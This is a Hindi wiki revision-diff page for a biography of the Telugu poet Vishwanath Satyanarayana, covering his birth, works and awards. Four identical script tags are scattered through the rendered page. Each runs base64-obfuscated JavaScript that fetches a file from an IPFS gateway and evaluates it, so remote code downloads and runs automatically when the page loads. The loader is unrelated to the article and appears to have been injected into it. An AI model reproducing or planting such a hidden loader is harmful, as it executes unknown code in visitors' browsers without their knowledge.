"विश्वनाथ सत्यनारायण" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "अविभावक" to "अभिभावक")
 
पंक्ति 12: पंक्ति 12:
 
|पति/पत्नी=
 
|पति/पत्नी=
 
|संतान=
 
|संतान=
|कर्म भूमि=
+
|कर्म भूमि=[[भारत]]
 
|कर्म-क्षेत्र=साहित्यकार, अध्यापक
 
|कर्म-क्षेत्र=साहित्यकार, अध्यापक
 
|मुख्य रचनाएँ=वेयिपगळु, ‘एकवीरा’ (उपन्यास), ‘किन्नरसानि पाटलु’ (गीतकाव्य)
 
|मुख्य रचनाएँ=वेयिपगळु, ‘एकवीरा’ (उपन्यास), ‘किन्नरसानि पाटलु’ (गीतकाव्य)
पंक्ति 32: पंक्ति 32:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
'''विश्वनाथ सत्यनारायण''' (जन्म: [[10 सितम्बर]], [[1895]] मृत्यु: [[18 अक्तूबर]], [[1976]]) एक [[तेलुगू भाषा]] के साहित्यकार थे। इन्हें [[1971]] में [[ज्ञानपीठ पुरस्कार]] से सम्मानित किया गया था। विश्वनाथ सत्यनारायण को साहित्य एवं शिक्षा के क्षेत्र में [[भारत सरकार]] द्वारा सन 1971 में [[पद्म भूषण]] से सम्मानित किया गया था। ये [[आंध्र प्रदेश]] राज्य से हैं।
+
'''विश्वनाथ सत्यनारायण''' (जन्म: [[10 सितम्बर]], [[1895]]; मृत्यु: [[18 अक्तूबर]], [[1976]]) [[तेलुगू भाषा]] के साहित्यकार थे। उन्हें [[1971]] में [[ज्ञानपीठ पुरस्कार]] से सम्मानित किया गया था। विश्वनाथ सत्यनारायण को [[साहित्य]] एवं शिक्षा के क्षेत्र में [[भारत सरकार]] द्वारा सन [[1971]] में [[पद्म भूषण]] से सम्मानित किया गया था। ये [[आंध्र प्रदेश]] राज्य से थे।
 
[[चित्र:Viswanadha-satyanarayana-2.png|thumb|left|विश्वनाथ सत्यनारायण]]  
 
[[चित्र:Viswanadha-satyanarayana-2.png|thumb|left|विश्वनाथ सत्यनारायण]]  
 
==संक्षिप्त परिचय==
 
==संक्षिप्त परिचय==
* विश्वनाथ सत्यनारायण का जन्म [[10 सितम्बर]], [[1895]] को [[आंध्र प्रदेश]] के [[कृष्णा ज़िला|कृष्णा ज़िले]] के नंदमूरु गाँव में हुआ था।
+
* विश्वनाथ सत्यनारायण का जन्म [[10 सितम्बर]], [[1895]] को [[आंध्र प्रदेश]] के [[कृष्णा ज़िला|कृष्णा ज़िले]] के नंदमूरु नामक [[गाँव]] में हुआ था।
* [[तेलुगू भाषा|तेलुगू]] के महाकवि विश्वनाथ सत्यनारायण अपने विराट उपन्यास ‘वेयिपगळु’ (‘सहसफग’, हिन्दी अनुवादक: श्री पी. वी. नरसिंहराव), महाकाव्य ‘श्री रामायण-कल्पवृक्षम’, (हिन्दी अंशानुवादिका: डॉ. सरोजिनी 'महिषी') जिसे भारतीय ज्ञानपीठ पुरस्कार [[1971]] में मिला, तथा ‘मध्यक्करलु’ नामक कविता संग्रह (साहित्य अकादमी पुरस्कार-प्राप्त) के लिए विख्यात है।  
+
* [[तेलुगू भाषा|तेलुगू]] के महाकवि विश्वनाथ सत्यनारायण अपने विराट [[उपन्यास]] ‘वेयिपगळु’ (‘सहसफग’, हिन्दी अनुवादक: श्री पी. वी. नरसिंहराव), महाकाव्य ‘श्री रामायण-कल्पवृक्षम’, (हिन्दी अंशानुवादिका: डॉ. सरोजिनी 'महिषी') जिसे भारतीय ज्ञानपीठ पुरस्कार [[1971]] में मिला, तथा ‘मध्यक्करलु’ नामक कविता संग्रह ([[साहित्य अकादमी पुरस्कार]] प्राप्त) के लिए विख्यात है।  
 
* वे तेलुगु के आधुनिक युग में एक उत्कृष्ट कवि थे। [[संस्कृत]] के पंडित तो थे ही, [[तुलसीदास]] के ‘[[रामचरितमानस]]’ से भी वे बहुत प्रभावित थे।  
 
* वे तेलुगु के आधुनिक युग में एक उत्कृष्ट कवि थे। [[संस्कृत]] के पंडित तो थे ही, [[तुलसीदास]] के ‘[[रामचरितमानस]]’ से भी वे बहुत प्रभावित थे।  
* वे ‘ग्रांथिक’ शैली को मानने वाले थे, जबकि व्यावहारिक शैली के पर्वतक अन्य पत्रकार थे। दोनों विचारधाराओं में कई विवाद चले।  
+
* विश्वनाथ सत्यनारायण ‘ग्रांथिक’ शैली को मानने वाले थे, जबकि व्यावहारिक शैली के पर्वतक अन्य पत्रकार थे। दोनों विचारधाराओं में कई विवाद चले।  
 
* वे बहुमुखी प्रतिभा के धनी थे और उन्होंने कई विधाओं में सफलता से लिखा है।  
 
* वे बहुमुखी प्रतिभा के धनी थे और उन्होंने कई विधाओं में सफलता से लिखा है।  
 
* विश्वनाथ सत्यनारायण का निधन [[18 अक्तूबर]], [[1976]] को [[आंध्र प्रदेश]] के [[गुंटूर]] में हुआ था।
 
* विश्वनाथ सत्यनारायण का निधन [[18 अक्तूबर]], [[1976]] को [[आंध्र प्रदेश]] के [[गुंटूर]] में हुआ था।
पंक्ति 48: पंक्ति 48:
 
* ‘काव्य-हरिश्चंद्र’  
 
* ‘काव्य-हरिश्चंद्र’  
 
==सम्मान और पुरस्कार==
 
==सम्मान और पुरस्कार==
* 1971 में [[पद्म भूषण]]
+
* [[1971]] में [[पद्म भूषण]]
* 1971 में [[ज्ञानपीठ पुरस्कार]]
+
* [[1971]] में [[ज्ञानपीठ पुरस्कार]]
  
  
पंक्ति 62: पंक्ति 62:
 
[[Category:साहित्यकार]][[Category:उपन्यासकार]][[Category:साहित्य कोश]][[Category:चरित कोश]]
 
[[Category:साहित्यकार]][[Category:उपन्यासकार]][[Category:साहित्य कोश]][[Category:चरित कोश]]
 
__INDEX__
 
__INDEX__
__NOTOC__
 

05:47, 18 अक्टूबर 2017 के समय का अवतरण

विश्वनाथ सत्यनारायण
विश्वनाथ सत्यनारायण
पूरा नाम विश्वनाथ सत्यनारायण
जन्म 10 सितम्बर, 1895
जन्म भूमि नंदमूरु गाँव, कृष्णा ज़िला, आंध्र प्रदेश
मृत्यु 18 अक्तूबर, 1976
मृत्यु स्थान गुंटूर, आंध्र प्रदेश
कर्म भूमि भारत
कर्म-क्षेत्र साहित्यकार, अध्यापक
मुख्य रचनाएँ वेयिपगळु, ‘एकवीरा’ (उपन्यास), ‘किन्नरसानि पाटलु’ (गीतकाव्य)
भाषा तेलुगू, संस्कृत
पुरस्कार-उपाधि ज्ञानपीठ पुरस्कार, पद्म भूषण
नागरिकता भारतीय
अन्य जानकारी विश्वनाथ सत्यनारायण ‘ग्रांथिक’ शैली को मानने वाले थे।
बाहरी कड़ियाँ आधिकारिक वेबसाइट
इन्हें भी देखें कवि सूची, साहित्यकार सूची

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

विश्वनाथ सत्यनारायण (जन्म: 10 सितम्बर, 1895; मृत्यु: 18 अक्तूबर, 1976) तेलुगू भाषा के साहित्यकार थे। उन्हें 1971 में ज्ञानपीठ पुरस्कार से सम्मानित किया गया था। विश्वनाथ सत्यनारायण को साहित्य एवं शिक्षा के क्षेत्र में भारत सरकार द्वारा सन 1971 में पद्म भूषण से सम्मानित किया गया था। ये आंध्र प्रदेश राज्य से थे।

विश्वनाथ सत्यनारायण

संक्षिप्त परिचय

  • विश्वनाथ सत्यनारायण का जन्म 10 सितम्बर, 1895 को आंध्र प्रदेश के कृष्णा ज़िले के नंदमूरु नामक गाँव में हुआ था।
  • तेलुगू के महाकवि विश्वनाथ सत्यनारायण अपने विराट उपन्यास ‘वेयिपगळु’ (‘सहसफग’, हिन्दी अनुवादक: श्री पी. वी. नरसिंहराव), महाकाव्य ‘श्री रामायण-कल्पवृक्षम’, (हिन्दी अंशानुवादिका: डॉ. सरोजिनी 'महिषी') जिसे भारतीय ज्ञानपीठ पुरस्कार 1971 में मिला, तथा ‘मध्यक्करलु’ नामक कविता संग्रह (साहित्य अकादमी पुरस्कार प्राप्त) के लिए विख्यात है।
  • वे तेलुगु के आधुनिक युग में एक उत्कृष्ट कवि थे। संस्कृत के पंडित तो थे ही, तुलसीदास के ‘रामचरितमानस’ से भी वे बहुत प्रभावित थे।
  • विश्वनाथ सत्यनारायण ‘ग्रांथिक’ शैली को मानने वाले थे, जबकि व्यावहारिक शैली के पर्वतक अन्य पत्रकार थे। दोनों विचारधाराओं में कई विवाद चले।
  • वे बहुमुखी प्रतिभा के धनी थे और उन्होंने कई विधाओं में सफलता से लिखा है।
  • विश्वनाथ सत्यनारायण का निधन 18 अक्तूबर, 1976 को आंध्र प्रदेश के गुंटूर में हुआ था।

प्रसिद्ध रचनाएँ

  • वेयिपगळु (उपन्यास)
  • ‘एकवीरा’ (उपन्यास)
  • ‘किन्नरसानि पाटलु’ (गीतकाव्य)
  • ‘ऋतुसंहारमु’
  • ‘काव्य-हरिश्चंद्र’

सम्मान और पुरस्कार


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>